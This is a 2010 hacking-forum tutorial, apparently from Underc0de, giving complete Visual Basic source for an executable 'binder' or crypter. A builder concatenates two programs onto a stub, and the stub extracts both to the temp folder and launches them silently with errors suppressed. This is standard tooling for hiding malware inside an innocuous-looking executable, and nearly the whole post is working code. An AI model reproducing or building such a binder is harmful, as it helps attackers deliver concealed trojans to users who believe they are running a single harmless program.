This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Make your own binder Quick [TUT]

  • 0 Replies

0 Members and 1 Guest are viewing this topic.

Offline The Punisher

  • *
  • Underc0der
  • Posts: 3
  • Actividad:
  • Reputación 0
    • View Profile

Make your own binder Quick [TUT]

  • on: May 04, 2010, 06:48:05 pm
Binder Quick TUT

Today I decided to write a tutorial on how to make your own binder in Visual Basic 2008. It's a simple crypter just binds 2 executable files.


Add the following forms:

2 buttons

You're form should look like this:

Okay, now double click the BUTTON 1 and type the following code:

Code: (csharp) You are not allowed to view links. Register or Login
        Dim ofd As New OpenFileDialog
        ofd.Title = ""
        ofd.Filter = "*.exe | *.exe"
        ofd.Title = "File 1"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
        ofd.Title = "File 2"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName

And then double click the BUTTON 2 and type this code:

Code: (csharp) You are not allowed to view links. Register or Login
        Dim stub, File_One, File_Two, Filename1, filename2 As String
        Const FileSplit = "47150"
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_One = Space(LOF(1))
        FileGet(1, File_One)

        FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_Two = Space(LOF(2))
        FileGet(2, File_Two)

        FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(3))
        FileGet(3, stub)
        Dim OutputFile As String
        Dim sfd As New SaveFileDialog
        sfd.Filter = "*.exe | *.exe"
        If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
            OutputFile = sfd.FileName
        Else : Exit Sub
        End If
        Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
        filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
        FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
Now you're done with builder, make a new form called "Stub".


Here we don't need any forms .. just click on the form and add the following code :
Code: (csharp) You are not allowed to view links. Register or Login
On Error Resume Next
        Dim TPath As String = System.IO.Path.GetTempPath
        Const FileSplit = "47150"
        Dim file1, joesdaddy, filez() As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        filez = Split(file1, FileSplit)
        FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(3, filez(1))
        FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(5, filez(2))
        System.Diagnostics.Process.Start(TPath & filez(3))
        System.Diagnostics.Process.Start(TPath & filez(4))
Note:You must use the same filesplit in builder and stub otherwise it won't work. My filesplit is "47150".

Nathan72389-Source Code.
« Last Edit: June 27, 2015, 08:50:25 pm by Expermicid »